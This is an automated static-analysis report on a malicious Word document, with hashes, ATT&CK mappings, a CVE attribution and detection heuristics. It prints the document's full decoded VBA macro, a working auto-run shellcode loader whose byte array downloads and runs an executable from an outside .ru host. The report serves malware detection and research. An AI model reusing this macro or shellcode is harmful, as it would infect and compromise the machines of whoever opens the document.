Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41a8d59a9c5f0fa5…

MALICIOUS

Office (OLE)

35.0 KB Created: 2013-08-16 17:11:00 Authoring application: Microsoft Office Word First seen: 2015-10-13
MD5: ec9af7433722384b9b28fcd20fecbc30 SHA-1: 958ce870117af6269ee9d45bb64188e1fa99fb5d SHA-256: 41a8d59a9c5f0fa50b3d56275855d20e93f5dc57c8c644d7aba9b5d298b12b64
226 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document that exploits CVE-2007-3899, a memory corruption vulnerability. The embedded VBA macro uses VirtualAlloc to allocate memory and RtlMoveMemory to copy shellcode into it, likely to download and execute a second-stage payload. The document also contains a lure to enable content, indicating it's designed to trick users into running the malicious code.

Heuristics 10

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3911 bytes
SHA-256: d6fd1202f6233ca7a3fa2aab005405aac47946359ccce70bc500b0287fccc423
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Apz As Long, ByVal Hpix As Long, ByVal Ydiry As LongPtr, Ekt As Long, ByVal Flce As Long, Gmhkhcl As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Zoyarigj As Long, ByVal Yftrkya As Long, ByVal Plnfmal As Long, ByVal Ivucx As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Ppqp As LongPtr, ByRef Uohr As Any, ByVal Kktd As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Apz As Long, ByVal Hpix As Long, ByVal Ydiry As Long, Ekt As Long, ByVal Flce As Long, Gmhkhcl As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Zoyarigj As Long, ByVal Yftrkya As Long, ByVal Plnfmal As Long, ByVal Ivucx As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Ppqp As Long, ByRef Uohr As Any, ByVal Kktd As Long) As Long
#End If

Sub Auto_Open()
    Dim Jqqd As Long, Wcni As Variant, Veilojlv As Long
#If VBA7 Then
    Dim Cnils As LongPtr, Pzxkw As LongPtr
#Else
    Dim Cnils As Long, Pzxkw As Long
#End If
    Wcni = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 137, 230, 84, 104, 76, 119, 38, _
7, 255, 213, 49, 255, 87, 87, 87, 87, 86, 104, 58, 86, 121, 167, 255, 213, 235, 96, 91, _
49, 201, 81, 81, 106, 3, 81, 81, 106, 80, 83, 80, 104, 87, 137, 159, 198, 255, 213, 235, _
79, 89, 49, 210, 82, 104, 0, 50, 96, 132, 82, 82, 82, 81, 82, 80, 104, 235, 85, 46, _
59, 255, 213, 137, 198, 106, 16, 91, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, _
86, 104, 117, 70, 158, 134, 255, 213, 49, 255, 87, 87, 87, 87, 86, 104, 45, 6, 24, 123, _
255, 213, 133, 192, 117, 39, 75, 15, 132, 132, 0, 0, 0, 235, 209, 233, 150, 0, 0, 0, _
232, 172, 255, 255, 255, 47, 115, 101, 114, 118, 101, 114, 47, 115, 111, 108, 97, 114, 106, 117, _
46, 101, 120, 101, 0, 235, 107, 49, 192, 95, 80, 106, 2, 106, 2, 80, 106, 2, 106, 2, _
87, 104, 218, 246, 218, 79, 255, 213, 147, 49, 192, 102, 184, 4, 3, 41, 196, 84, 141, 76, _
36, 8, 49, 192, 180, 3, 80, 81, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 45, _
88, 133, 192, 116, 22, 106, 0, 84, 80, 141, 68, 36, 12, 80, 83, 104, 45, 87, 174, 91, _
255, 213, 131, 236, 4, 235, 206, 83, 104, 198, 150, 135, 82, 255, 213, 106, 0, 87, 104, 49, _
139, 111, 135, 255, 213, 106, 0, 104, 224, 29, 42, 10, 255, 213, 232, 144, 255, 255, 255, 114, _
117, 110, 100, 49, 49, 46, 101, 120, 101, 0, 232, 0, 255, 255, 255, 97, 117, 116, 111, 116, _
101, 109, 97, 49, 49, 46, 114, 117, 0)
    Cnils = VirtualAlloc(0, UBound(Wcni), &H1000, &H40)
    For Veilojlv = LBound(Wcni) To UBound(Wcni)
        Jqqd = Wcni(Veilojlv)
        Pzxkw = RtlMoveMemory(Cnils + Veilojlv, Jqqd, 1)
    Next Veilojlv
    Pzxkw = CreateThread(0, 0, Cnils, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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